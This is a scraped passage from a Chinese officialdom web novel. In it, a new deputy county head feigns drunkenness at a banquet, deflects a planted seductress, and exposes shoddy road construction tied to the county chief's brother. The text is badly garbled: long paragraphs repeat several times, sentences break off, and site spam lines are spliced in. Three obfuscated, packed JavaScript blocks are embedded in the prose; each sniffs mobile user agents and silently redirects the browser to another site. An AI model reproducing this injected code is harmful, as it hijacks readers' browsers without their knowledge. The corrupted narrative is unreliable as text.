在没见到李承之前,她幻想中的李承,是那种秃顶,带着金丝眼镜,大肚翩翩的猥琐中年人。 跟陈红旗那种人差不多。 可见面后,李承的形象完全颠覆了她的想象。 而李承刚刚给她的印象,就是那种温和中带着威严。 她觉得,李承毕竟是给省长当过秘书的人,一定是城府极深的笑面虎。 可看到这套派大星睡衣时,她对李承的印象又发生了改观。 能穿卡通睡衣的人,内心里,应该是一个可爱的人。 “女朋友给买的,她喜欢海绵宝宝,就给我买了派大星。” 李承以睡衣为引,侧面说出她有女朋友的事实,并表现出恩爱:“我是觉得有些小孩气,唉没办法.” 他在刘婷面前表现出对许梦的疼爱,就是告诉刘婷,断了美人计的想法。 “您一定是一个疼爱老婆,顾家的好男人。”刘婷称赞一声。 李承只是微笑回应,并没有多说。 在整理衣物时,刘婷经常性地有意弯身,背对着李承。 将她那丰腴的臀部和丝袜美腿展露给李承看。 她的裙子很短,顺着腿部往上看,给人一种若隐若现的感觉。 这种既视感,会激起人的幻想,远比暴露出来更让人悸动。 李承只是下意识地扫了一眼,便紧忙收回目光,他拿起手机,回复许梦的信息。 “领导,衣服我都整理好了,您先休息一下,晚点我再过来。” 刘婷将李承的行李箱放进衣柜中后,问:“我能留您一个联系方式吗?方便联系。” “嗯,好。” 互换了联系方式,刘婷便告辞离开。 李承走到客厅,倚靠在沙发上,给许梦打了一个视频电话。 晚上五点四十。 刘婷来到宿舍,带李承了凤玺楼。 凤玺楼在风林县,已经属于名列前茅的高档 就餐场所。 但一个贫困县的高档餐厅,比起李承在汉江参与过任何宴会场所的档次都要低不少。 更不能与牡丹会相提并论。 “李县长,我先回去了。” 刘婷将李承带到包厢门口,告辞离开。 “嗯。” 今晚的饭局,最低也是一个正科干部,刘婷只是一个联络员,普通科员,没资格参加。 李承走进包厢,里面基本已经坐满了人,唯独没看到陈红旗的身影。 “李县长。” 看到他的到来,众人跟他打起招呼。 这些人在下午的见面会上,李承都认识了。 “李县长你这边坐,给你留了位置。” 常务副县长崔学文冲李承招了招手,他们给李承留了一个主位右手边的位置。 “崔常务,刘**” 李承跟几个同级县领导打过招呼,便坐在位置上。 那些正科级的局长之类的,跟他打招呼,他就回以点头,不招呼他的,他也不会理。 人太多了,要是全部一一打招呼,过于麻烦。 况且,李承也没有快速的适应到这个新环境。 在省政府,厅局级干部都要主动跟他交好,处级干部想巴结他都找不到门路。 说难听点,像陈红旗这种正处级干部,放在省政府,李承余光都不会扫他一眼。 这种级别接触上的巨大落差,让李承的心里有些傲气。 跟他们闲聊了半个小时,直到六点半,陈红旗才姗姗来迟。 “小赵,让服务员走菜吧。” 陈红旗迟到了半个小时,甚至连一句敷衍的解释都没有,他直接坐在主位上。 其余人也压根没有介意,似乎对于他的迟到,早已经**以为常。 可今天是李承的欢迎宴,主角是李承。 对方可以选择不宴请。 但宴请了,却还迟到,那就是一种不尊重。 “李县长,今晚我们不醉不休,让我们好好见识一下省长秘书的酒量啊,哈哈哈。” 陈红旗笑呵呵打趣一声。 “我的酒量跟陈县长差很远呀,但我今天就舍命陪君子。”李承微笑说。 想要迅速融入到这个圈子里,酒就不能少。 虽说,明知道对方有灌多自己的打算,但酒还是要喝。 “我就喜欢李县长这种爽快的性格,呵呵呵不像一些同志,没有李县长的背景,却摆出大架子。” 陈 红旗的这句话,不是在说在座的人。 能上这个餐桌的,也都是以陈红旗马首是瞻的人。 他是在暗讽没有到场,跟他不合的王革。 接下来,饭局正式开始。 喝的是白酒,用矿泉水瓶装的。 但入口后,李承可以品味出来,这是茅台。 饭局渐渐火热起来,每个人都给李承单独敬过酒,一副不把李承灌醉不罢休的样子。 人家走到身边敬酒,李承这位新任副县长,也不能不给面子。 在整个吃饭期间,李承很少发言,他始终在观察。 观察这些人中,哪些是陈红旗的狗腿子,哪些是被逼上梁山,不得已融入他们的派系。 李承发现,常务副县长崔学文似乎与陈红旗是面和心不和。 在陈红旗侃侃而谈时,他的很多个下意识表情,都带着些不屑与反感。 纪委**曹海涛,政法委**辛磊,也都表现出厌倦之色。 并且,陈红旗这个圈子里,还有几个小圈子,在饭局进入白热化阶段时,都是那几个小圈子的人,在跟小圈子里的人喝酒。 陈红旗看似是一言堂,但在李承的观察下,实则,大家更多是屈服在他的**之下。 只是他们的力量,达不到反抗陈红旗的条件! 这也让李承看到了机会,陈红旗的派系够大,但内核不稳,有突破的可能! 红旗的这句话,不是在说在座的人。 能上这个餐桌的,也都是以陈红旗马首是瞻的人。 他是在暗讽没有到场,跟他不合的王革。 接下来,饭局正式开始。 喝的是白酒,用矿泉水瓶装的。 但入口后,李承可以品味出来,这是茅台。 饭局渐渐火热起来,每个人都给李承单独敬过酒,一副不把李承灌醉不罢休的样子。 人家走到身边敬酒,李承这位新任副县长,也不能不给面子。 在整个吃饭期间,李承很少发言,他始终在观察。 观察这些人中,哪些是陈红旗的狗腿子,哪些是被逼上梁山,不得已融入他们的派系。 李承发现,常务副县长崔学文似乎与陈红旗是面和心不和。 在陈红旗侃侃而谈时,他的很多个下意识表情,都带着些不屑与反感。 纪委**曹海涛,政法委**辛磊,也都表现出厌倦之色。 并且,陈红旗这个圈子里,还有几个小圈子,在饭局进入白热化阶段时,都是那几个小圈子的人,在跟小圈子里的人喝酒。 陈红旗看似是一言堂,但在李承的观察下,实则,大家更多是屈服在他的**之下。 只是他们的力量,达不到反抗陈红旗的条件! 这也让李承看到了机会,陈红旗的派系够大,但内核不稳,有突破的可能! 红旗的这句话,不是在说在座的人。 能上这个餐桌的,也都是以陈红旗马首是瞻的人。 他是在暗讽没有到场,跟他不合的王革。 接下来,饭局正式开始。 喝的是白酒,用矿泉水瓶装的。 但入口后,李承可以品味出来,这是茅台。 饭局渐渐火热起来,每个人都给李承单独敬过酒,一副不把李承灌醉不罢休的样子。 人家走到身边敬酒,李承这位新任副县长,也不能不给面子。 在整个吃饭期间,李承很少发言,他始终在观察。 观察这些人中,哪些是陈红旗的狗腿子,哪些是被逼上梁山,不得已融入他们的派系。 李承发现,常务副县长崔学文似乎与陈红旗是面和心不和。 在陈红旗侃侃而谈时,他的很多个下意识表情,都带着些不屑与反感。 纪委**曹海涛,政法委**辛磊,也都表现出厌倦之色。 并且,陈红旗这个圈子里,还有几个小圈子,在饭局进入白热化阶段时,都是那几个小圈子的人,在跟小圈子里的人喝酒。 陈红旗看似是一言堂,但在李承的观察下,实则,大家更多是屈服在他的**之下。 只是他们的力量,达不到反抗陈红旗的条件! 这也让李承看到了机会,陈红旗的派系够大,但内核不稳,有突破的可能! 红旗的这句话,不是在说在座的人。 能上这个餐桌的,也都是以陈红旗马首是瞻的人。 他是在暗讽没有到场,跟他不合的王革。 接下来,饭局正式开始。 喝的是白酒,用矿泉水瓶装的。 但入口后,李承可以品味出来,这是茅台。 饭局渐渐火热起来,每个人都给李承单独敬过酒,一副不把李承灌醉不罢休的样子。 人家走到身边敬酒,李承这位新任副县长,也不能不给面子。 在整个吃饭期间,李承很少发言,他始终在观察。 观察这些人中,哪些是陈红旗的狗腿子,哪些是被逼上梁山, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210404|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得已融入他们的派系。 李承发现,常务副县长崔学文似乎与陈红旗是面和心不和。 在陈红旗侃侃而谈时,他的很多个下意识表情,都带着些不屑与反感。 纪委**曹海涛,政法委**辛磊,也都表现出厌倦之色。 并且,陈红旗这个圈子里,还有几个小圈子,在饭局进入白热化阶段时,都是那几个小圈子的人,在跟小圈子里的人喝酒。 陈红旗看似是一言堂,但在李承的观察下,实则,大家更多是屈服在他的**之下。 只是他们的力量,达不到反抗陈红旗的条件! 这也让李承看到了机会,陈红旗的派系够大,但内核不稳,有突破的可能! 红旗的这句话,不是在说在座的人。 能上这个餐桌的,也都是以陈红旗马首是瞻的人。 他是在暗讽没有到场,跟他不合的王革。 接下来,饭局正式开始。 喝的是白酒,用矿泉水瓶装的。 但入口后,李承可以品味出来,这是茅台。 饭局渐渐火热起来,每个人都给李承单独敬过酒,一副不把李承灌醉不罢休的样子。 人家走到身边敬酒,李承这位新任副县长,也不能不给面子。 在整个吃饭期间,李承很少发言,他始终在观察。 观察这些人中,哪些是陈红旗的狗腿子,哪些是被逼上梁山,不得已融入他们的派系。 李承发现,常务副县长崔学文似乎与陈红旗是面和心不和。 在陈红旗侃侃而谈时,他的很多个下意识表情,都带着些不屑与反感。 纪委**曹海涛,政法委**辛磊,也都表现出厌倦之色。 并且,陈红旗这个圈子里,还有几个小圈子,在饭局进入白热化阶段时,都是那几个小圈子的人,在跟小圈子里的人喝酒。 陈红旗看似是一言堂,但在李承的观察下,实则,大家更多是屈服在他的**之下。 只是他们的力量,达不到反抗陈红旗的条件! 这也让李承看到了机会,陈红旗的派系够大,但内核不稳,有突破的可能! 红旗的这句话,不是在说在座的人。 能上这个餐桌的,也都是以陈红旗马首是瞻的人。 他是在暗讽没有到场,跟他不合的王革。 接下来,饭局正式开始。 喝的是白酒,用矿泉水瓶装的。 但入口后,李承可以品味出来,这是茅台。 饭局渐渐火热起来,每个人都给李承单独敬过酒,一副不把李承灌醉不罢休的样子。 人家走到身边敬酒,李承这位新任副县长,也不能不给面子。 在整个吃饭期间,李承很少发言,他始终在观察。 观察这些人中,哪些是陈红旗的狗腿子,哪些是被逼上梁山,不得已融入他们的派系。 李承发现,常务副县长崔学文似乎与陈红旗是面和心不和。 在陈红旗侃侃而谈时,他的很多个下意识表情,都带着些不屑与反感。 纪委**曹海涛,政法委**辛磊,也都表现出厌倦之色。 并且,陈红旗这个圈子里,还有几个小圈子,在饭局进入白热化阶段时,都是那几个小圈子的人,在跟小圈子里的人喝酒。 陈红旗看似是一言堂,但在李承的观察下,实则,大家更多是屈服在他的**之下。 只是他们的力量,达不到反抗陈红旗的条件! 这也让李承看到了机会,陈红旗的派系够大,但内核不稳,有突破的可能! 红旗的这句话,不是在说在座的人。 能上这个餐桌的,也都是以陈红旗马首是瞻的人。 他是在暗讽没有到场,跟他不合的王革。 接下来,饭局正式开始。 喝的是白酒,用矿泉水瓶装的。 但入口后,李承可以品味出来,这是茅台。 饭局渐渐火热起来,每个人都给李承单独敬过酒,一副不把李承灌醉不罢休的样子。 人家走到身边敬酒,李承这位新任副县长,也不能不给面子。 在整个吃饭期间,李承很少发言,他始终在观察。 观察这些人中,哪些是陈红旗的狗腿子,哪些是被逼上梁山,不得已融入他们的派系。 李承发现,常务副县长崔学文似乎与陈红旗是面和心不和。 在陈红旗侃侃而谈时,他的很多个下意识表情,都带着些不屑与反感。 纪委**曹海涛,政法委**辛磊,也都表现出厌倦之色。 并且,陈红旗这个圈子里,还有几个小圈子,在饭局进入白热化阶段时,都是那几个小圈子的人,在跟小圈子里的人喝酒。 陈红旗看似是一言堂,但在李承的观察下,实则,大家更多是屈服在他的**之下。 只是他们的力量,达不到反抗陈红旗的条件! 这也让李承看到了机会,陈红旗的派系够大,但内核不稳,有突破的可能! 第289章 人生如戏 “李县长我们共同再喝一杯你到了风林县我们就不仅是同志还是家人!” 陈红旗搂住李承的肩膀摆出一副关系亲热的样子说。 “好陈县长我敬你。” 李承喝了一斤多的白酒脑袋已经晕头转向。 但还能保持着清醒。 他知道自己不能再喝了万一喝到不省人事下场就麻烦了。 当跟陈红旗碰杯后李承刚把酒放在嘴边就故意表现出一副准备呕吐的样子:‘呕’ 他连忙放下酒杯捂着嘴朝外冲去。 冲到卫生间李承放开手。 他没有吐意却还是将手指伸到了嗓子眼故意催吐。 催吐的目的一来是能够吐掉没吸收的酒精缓解醉酒上头。 二来是合理装出一副醉酒的样子以此来拒绝再喝。 ‘呕’ 将胃里的东西吐了个七七八八李承抹了一把本能流出的泪水按下冲水。 他打开门走出卫生间看到县政府办公室主任赵兵正在洗手。 看似对方在洗手李承却觉得对方是来监视自己的。 李承扶着墙 “李县长您没事吧?” 赵兵走到李承身边关心地询问。 “啊?” 李承故意睁大了一些眼睛挤出一个傻笑:“奥是赵主任呀我..我没事我还能喝呢.” 说着李承迈开一步身体故意去踉跄佯装要摔倒。 “李县长您小心。” 见状赵兵连忙将李承搀扶住。 “我没喝多不用搀扶我没事.” 李承推开他继续走继续装出一副踉跄。 “您醉了我扶着您。” 赵兵扶住李承将他搀扶回包厢。 李承坐在椅子上伸手要去拿酒杯手又无力地放下。 他瘫软地倚靠着座椅上闭上眼睛嘴里发出轻微的呢喃胡言乱语。 李承装醉的同时心里不免嘀咕起来:还真是人生如戏全靠演技呀 陈红旗看到李承的样子询问的目光投向赵兵在赵兵的点头下他确定李承是喝醉了。 他的目的达到了这场早已经到了尾声的饭局也宣布结束。 在赵兵的搀扶下李承出了凤玺楼刘婷一直在外面候着。 “小赵你和刘婷送李县长回去休息。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 陈红旗交代后,目光看向刘婷,说:“婷婷,今晚就辛苦你一下了,好好照顾照顾李县长。 “嗯,您放心。刘婷会心一笑。 他们的谈话,话中的内涵,都被李承听在耳朵里。 但李承装着醉,说着酒话:“没事,我还能喝 回到宿舍。 李承瘫软在沙发上,刘婷主动帮李承脱下外套,温柔的关心询问:“领导,您喝了多少酒呀? “不多,没多少吧,不记得了. 李承摆了摆手,眼神迷离地说:“没事,你回去吧,我自己可以。 “领导,您喝醉了,我是您的秘书,照顾您是我应该做的。 刘婷给李承脱下外套后,开始去解李承的裤腰带。 “嗯你是工作秘书,还要当生活秘书呀?李承醉熏熏地调侃一句。 这是一句试探,也是为了迷惑他们的演技。 “您愿意的话,我可以做您的生活秘书,您为了县里百姓操劳,需要一个女生照顾您。 刘婷说着,手试探性地往下摸,但也只是轻轻接触,若即若离。 她在一步步试探李承,李承如果不反对,她就会继续大胆一点。 “刘婷,你一个小姑娘家,还挺会照顾人呀。 李承笑了笑,然后装出一副突然想到重要事情的样子:“哎呦,我手机呢? “在这。 刘婷不明所以,将李承手机递了过去。 “哎呀,我媳妇儿还等着我给她回电话,再不回,母老虎又要发威了. “这么晚了,嫂子应该睡了,您明天再给她回 ‘叮叮叮’ 刘婷的话没等说完,李承已经按下了视频聊天的键。 并对刘婷摆了摆手,焦急地说:“你快回去吧,我媳妇儿要是看到家里有女人,我就惨了。 李承这幅怕媳妇儿的样子,是他回避刘婷殷勤的掩护。 他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215282|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能在醉酒时,直接拒绝刘婷,这样,会让对方警惕起来。 只能找一个这样的借口。 “好。 刘婷点了点头,朝门口退去。 “老公。 电话接听,许梦温柔的声音传了过来,她看到李承醉醺醺的样子,关心地问:“老公,你今晚喝了多少的酒呀,怎么醉成这个样子? “不知道呀,今天高兴,多喝了点。 李承醉醺醺地说:“媳妇儿,我想你了,好想让你陪在我身 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 边呀。” “我也想你了,你喝这么多,谁送你回来的呀?”许梦关心地问。 “我的一个联络员。” “男的女的?” “女的呀,挺漂亮个美女呢。”李承笑嘻嘻地说。 “她呢?还在你房间里吗?” 女人的直觉,让许梦感受到了危机。 “没,没有呀,送我回来她就走了。” 李承目光瞟了一眼门口。 刚刚刘婷一直没走,就站在门口,听到李承这句话,这才退出了屋子,小心翼翼的关闭房门。 见刘婷离开了,李承从沙发上坐了起来,点燃了一根香烟。 “李承,我可警告你奥,离这个联络员远点,否则哼,我让你看看川蜀女人的厉害!” 许梦握紧拳头,故意在镜头面前比量一下,好像要**。 “放心吧,我心里有数。”李承道。 跟许梦又聊了一会儿,因为许梦要主持深夜档节目,便挂断了电话。 李承晃了晃发晕的头,准备起身去洗漱之际,李承的微信响了起来,是刘婷发的消息。 【领导,我在门外等您,等您挂了视频,我去照顾您。】 看完这条消息,李承把手机放在了一旁,没有理会。 这个消息不能回,回了就是麻烦。 既然刘婷愿意等,就让她在门口守着,等她收不到李承的回应,自然也就回离开了。 等明天睡醒,再敷衍地回一条消息,以喝醉为理由搪塞一句就好了。 第290章 关系户 接下来两天,李承熟悉了一个工作环境,以及产业园区的情况。 目前为止,整个产业园区也只有一家企业落地建厂。 对于产业园区的停滞不前,陈红旗将全部责任归咎在了**的头上。 说是她的工作不认真,能力差,贪腐行为导致的。 而那唯一一家企业,陈红旗大包大揽,说是他个人谈下来的企业。 李承自然不会信陈红旗的鬼话,他对产业园区的任何评价和发展理念,都是基于一定个人利益相关。 李承想具体了解园区情况,还要去见一面**。 了解一下情况,也去问问关于纪委调查的问题。 **被停职,但没有被限制人身自由。 上次**到汉江控告陈红旗,二人留了联系方式。 坐在办公室里,李承给**发了一条微信:【林县长,晚上有时间吗?我想见你一面。】 工作期间,李承不适合去见这位挂着‘贪腐’名头的女县长,要在私下去,在陈红旗看不到的时间里去。 【李处长,听说您来风林县任职了,上次在汉江走得匆忙,还没来得及请您吃饭。 晚上我有时间,您有什么想吃的吗?】 **的消息回复很快。 【随便吃一口就行,主要想向你了解一下情况。】李承回复。 这是在告诉**,选一个方便聊工作的地方。 【您要是不嫌弃的话就来家里吧,尝尝我的手艺。】**说。 【嗯,好。】李承答应。 【地址在新星花园6号楼三单元202室,您到了联系我就行。】 ‘咯吱’ 正在李承跟**发消息时,办公室的门被推开,刘婷端着茶水走了进来。 “领导,这是我特意从家里拿来的茶,您尝尝。”刘婷殷勤地走到李承面前,给他端茶倒水。 “你有心了。” 李承微微一笑,端起茶水抿了一口。 茶还是不错的。 只是冲泡工艺过于简陋,泡的时间略久,茶汤已经发苦。 “你联系一下司机,我准备去园区转一转。”李承放下茶杯,交代道。 李承这两天只把情况熟悉了一下,去了一趟园区办公楼,给管委会的工作人员开了一个会,但并没有实地考察过。 “好的,我这就联系。” 刘婷答应一声,拿出手机给司机小朱打去电话。 正常情况下,只有省部级(正职) 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 领导才允许配备专车和专职司机。 副部级以下,一律不配备,只有公务保障用车使用。 但实际上,公务用车就跟专车没什么太大区别,只是名义不同。 李承这位副县长,也有自己的固定配车,配固定司机。 李承和刘婷出了办公楼,一台大众帕萨特已经等候在此。 刘婷给李承拉开车门,李承迈步坐进后排。 “朱师傅,去产业园区。 刘婷坐在副驾驶,对司机交代位置。 这一路上,李承心情很复杂。 他从副省级的省会城市,调到了偏僻的风林县。 从省长秘书这位处级巅峰职位,沦为全省数百名副县长中的一员。 在大多数人眼里,这是平调暗降。 可当刘婷拉开车门,李承坐在后排的那一刻,他的虚荣心得到了极大的满足。 以前,他是端茶倒水,拎包开车门的秘书。 而现在,他在享受着领导的待遇,身边有一位美女秘书全程服务。 他再也不用保持精神紧绷,时刻观察领导的情绪,而是成为了那个要别人看他眼色行事的人。 这种感觉很不错! “小朱,去看看修路情况。 汽车驶入园区地界,看着车准备奔办公楼方向开,李承开口吩咐。 “好的李县长。 朱师傅答应一声,改变了路线。 “领导,修路有什么可看的呀?灰尘还大。 刘婷随意地询问时,她悄悄拿出手机,将李承的路线改变报备给陈红旗。 汽车就这么大,李承在后排,即便看不到刘婷具体在干什么,但通过她手臂的动作,也能猜得到她在弄手机。 “都是管委会的工程,当然要视察一下。李承解释一句。 作为一个秘书,不是什么话都该问的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215283|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李承是她的领导,不是她的顾问。 显然,刘婷并不懂这个分寸。 随意地乱问,看似是小毛病,却是每位领导都很厌恶的行为。 汽车抵达修路的地点,工程队正在施工。 李承在刘婷的陪同下,走到施工区域。 “你们把车开走,不能停在那,没看见正施工呢吗? 他们还没走几步,一个皮肤黝黑的中年男人走了过来,准备将他们驱离。 “我们是管委会的,这位是李县长,你们负责人在不在?刘婷介绍身份,道。 听到是县 你的朋友正在书荒,快去帮帮他吧 长过来视察工作,男人立马换了一副脸,恭恭敬敬的说:“我们陈总不在,那个,我去打个电话,李县长,你们稍等一下哈。” “嗯。” 对方在见到李承点头后,连忙拿起手机,走到一边去打电话。 现在地面在铺沥青,李承走到土路和铺好沥青路面的交界处,他蹲下身,目光紧紧盯着那块沥青表层。 他伸出手,轻轻敲了敲沥青表层,声音发飘,没有紧实路面该有的那种厚重感。 “领导,这路有什么问题吗?”刘婷站在李承身边,好奇地问。 “没什么。” 李承摇了摇头,从口袋里拿出家门钥匙,用钥匙去挫脚底下的沙土路。 砂石松散,不夯实。 哪怕李承是一个外行,都知道,这里面存在严重的偷工减料。 “这段路承包给哪个公司负责修建?”李承站起身,望着园区内已经修建了大半的道路,沉声问。 “旗胜建筑公司。”刘婷说。 她在提到这个公司时,声音不自觉地变小,显得很没有底气。 “这个公司是什么背景?”李承淡淡地问。 能拿到政府工程,又敢这么混弄的,没点背景怎么可能呢? “领导,您听这个公司名字,应该能猜得到吧。”刘婷小心翼翼地说。 旗胜建筑公司,旗胜. “旗帜的旗?”李承问。 “对。” 在刘婷的确认下,李承眉头皱起。 这是陈红旗的关系户! 第291章 偷工减料 陈红旗一直拖着,不去认真搞产业园区的建设,那是因为他有利可图。 产业园区落户几家企业,那是国家和百姓的利益。 而这些工程,是实打实落进他口袋里的钱! 李承不是一个眼里容不得沙子的人,只要质量达标,陈红旗愿意把项目批给谁,就批给谁。 李承不会干涉。 但是,产业园区道路的质量,实在是太差了。 “这个旗胜,除了承包了道路建设,还有什么?”李承点燃一根香烟,眺望偌大的园区空地,问。 风林县产业园区属于县级中大型产业园,占地两万亩。 这是经济强县,工业大县的规模。 省里肯投资这么多的钱,批这么大的地,就是对风林县抱有了十足的希望。 毕竟,苏原省南陵市,那是全国上榜的工业大市,只要能承接小部分企业建厂,就可以把这两万亩园区建满。 可到现在为止。 整个产业园区,只建设了一个立柱招牌,一个三层的管委会小办公楼。 落地的企业只有一家,还是小规模的。 在辽阔的产业园区土地上,这零星的几个小房子,显得格外突兀。 “旗胜在我们县属于建工龙头了,像县里的道路,绿化,老旧小区改造,都是旗胜在经营。” 刘婷回答道。 她显然并没有领会李承的意思。 “我是问,在产业园区建设上。”李承吸了一口烟,说。 李承这位副县长,主抓产业园区的建设,市政建设,跟他没关系。 刘婷可以将县里工程一并回答,但作为秘书,她不该忽略最重要的问题。 显然,刘婷并不擅长秘书工作,也没有在李承的提问上,多动脑筋。 “排水渠,地下管网,绿化,包括管委会的办公楼,这都是旗胜承包的。”刘婷说。 “也就是说,整个园区的建设,全部归旗胜所有呗?” 李承弹了弹烟灰,眉头皱得更深。 按照修路的质量来看,其他建设,旗胜大概率也会偷工减料。 这是李承最担心的问题。 园区已经建设到这种程度,挖开从建,耗费的时间太多,还会得罪陈红旗。 但如果地下管网不合格,未来的隐患太大,污水倒灌,爆管,停水,停电,断网。 到时候落地的企业会遭殃,政府也要承受损失。 “差不多吧。”刘婷点头。 “让韩帅过来。”李承吩咐道。 韩帅是管委会的副主任,分管工程和基建。 一个正科级干部,但他作为工程总负责人,权力很大。 但是,权力越大,就代表责任越大。 显然,他并没有担起这个责任! “好的领导。” 管委会就在园区内部,刘婷通知后,不到十分钟的时间,韩帅就赶到了李承身边。 他刚到,一台路虎揽胜汽车,也停到了几人面前。 “李县长,您找我。” 韩帅快步来到李承面前,说。 “嗯,这是谁的车?” 李承看着面前的路虎揽胜,透过车玻璃,他目光落在车内正在打电话的中年男人,问。 “陈红胜的车,旗胜的老总。”刘婷低声回应。 李承微微点头,目光始终停留在陈红胜身上,等待对方下车。 李承足足盯了他一分多钟,他这才挂断了电话,拉开车门下了车。 “这位就是新来的李副县长吧,久仰大名啊。”陈红旗不紧不慢地走到李承面前,主动伸出手。 他哥是陈红旗,是县里一言堂的‘土皇帝’。 有陈红旗撑腰,他压根没把李承放在心上。 “陈总,整个园区的建设都落在你一个人的肩膀上,你的责任很大呀。” 李承跟他象征性地握了握手,皮笑肉不笑地说。 “为县里做贡献嘛,能力越大,责任越大,我是土生土长的风林人,也希望风林能够建设得好一些,累点也不怕。” 陈红胜被李承的笑容迷惑了。 他以为,李承说的是责任心。 可实际上,李承说的责任,是他接下来该承担的责任! “陈总,你们公司建设速度够快,上次我来风林县参加园区开工仪式时,这里还是一片泥土地,现在已经铺上了沥青路了。”李承说。 “园区发展在即,工人们都是没日没夜地加班。”陈红胜回答道。 “这片道路已经施工完成了,就差那边了,是吗?”李承手指那边的砂土路,问陈红胜。 这是为接下来的话,做铺垫。 “对,就差那边了,预计再有一个月,道路建设就可以竣工。” 陈红胜从口袋里拿出一包中支的中华,递给李承一支:“李副县长,抽烟。” “刚抽完。” 李承摆手拒绝了他,说:“一个月怕是完不成,接下来,陈总还要受累了。” 李 承微微一笑,朝着沥青路和砂土路的交界处走去:“陈总,韩主任,你们都跟我来一下。” 陈红胜和韩帅相视一眼,他们隐约察觉到李承要做什么,但也只能跟上。 “韩主任,你作为工程基建的总负责人,你来看看,这个道路修得怎么样?” 李承踩在砂土上,他的皮鞋沾染了一个土灰。 听到李承的询问,韩帅神情尴尬。 道路什么质量,他心里清楚得很。 “道路修得很平整,还可以。” 韩帅是半个质量有关的话题不敢提,敷衍地说。 这个回答,让李承恨不得想骂街。 “我在问你质量,你觉得达不达标?”李承质问道。 “这个也是达标的。”韩帅额头渗出一沉冷汗,嘴硬地说。 他是总负责人,如果说不达标,那就是直接说明他工作不到位。 “这达的是国家标准,还是你韩主任的标准啊!” 李承眼睛一瞪,声音也拔高了一个调:“你还**的能胡说八道!” 在听到韩帅敢厚脸皮说达标时,李承的愤怒忍不住了,爆了句粗口。 这一刻,李承觉得自己如果不说一句脏话,都无法表明自己有多愤怒。 但他也有度。 他没有就追责陈红胜,对方是陈红旗的亲戚,李承不好点名训斥。 所以,他在用指桑骂槐的方式,打陈红胜的脸! 承微微一笑,朝着沥青路和砂土路的交界处走去:“陈总,韩主任,你们都跟我来一下。” 陈红胜和韩帅相视一眼,他们隐约察觉到李承要做什么,但也只能跟上。 “韩主任,你作为工程基建的总负责人,你来看看,这个道路修得怎么样?” 李承踩在砂土上,他的皮鞋沾染了一个土灰。 听到李承的询问,韩帅神情尴尬。 道路什么质量,他心里清楚得很。 “道路修得很平整,还可以。” 韩帅是半个质量有关的话题不敢提,敷衍地说。 这个回答,让李承恨不得想骂街。 “我在问你质量,你觉得达不达标?”李承质问道。 “这个也是达标的。”韩帅额头渗出一沉冷汗,嘴硬地说。 他是总负责人,如果说不达标,那就是直接说明他工作不到位。 “这达的是国家标准,还是你韩主任的标准啊!” 李承眼睛一瞪,声音也拔高了一个调:“你还**的能胡说八道!” 在听到韩帅敢厚脸皮说达标时,李承的愤怒忍不住了,爆了句粗口。 这一刻,李承觉得自己如果不说一句脏话,都无法表明自己有多愤怒。 但他也有度。 他没有就追责陈红胜,对方是陈红旗的亲戚,李承不好点名训斥。 所以,他在用指桑骂槐的方式,打陈红胜的脸! 承微微一笑,朝着沥青路和砂土路的交界处走去:“陈总,韩主任,你们都跟我来一下。” 陈红胜和韩帅相视一眼,他们隐约察觉到李承要做什么,但也只能跟上。 “韩主任,你作为工程基建的总负责人,你来看看,这个道路修得怎么样?” 李承踩在砂土上,他的皮鞋沾染了一个土灰。 听到李承的询问,韩帅神情尴尬。 道路什么质量,他心里清楚得很。 “道路修得很平整,还可以。” 韩帅是半个质量有关的话题不敢提,敷衍地说。 这个回答,让李承恨不得想骂街。 “我在问你质量,你觉得达不达标?”李承质问道。 “这个也是达标的。”韩帅额头渗出一沉冷汗,嘴硬地说。 他是总负责人,如果说不达标,那就是直接说明他工作不到位。 “这达的是国家标准,还是你韩主任的标准啊!” 李承眼睛一瞪,声音也拔高了一个调:“你还**的能胡说八道!” 在听到韩帅敢厚脸皮说达标时,李承的愤怒忍不住了,爆了句粗口。 这一刻,李承觉得自己如果不说一句脏话,都无法表明自己有多愤怒。 但他也有度。 他没有就追责陈红胜,对方是陈红旗的亲戚,李承不好点名训斥。 所以,他在用指桑骂槐的方式,打陈红胜的脸! 承微微一笑,朝着沥青路和砂土路的交界处走去:“陈总,韩主任,你们都跟我来一下。” 陈红胜和韩帅相视一眼,他们隐约察觉到李承要做什么,但也只能跟上。 “韩主任,你作为工程基建的总负责人,你来看看,这个道路修得怎么样?” 李承踩在砂土上,他的皮鞋沾染了一个土灰。 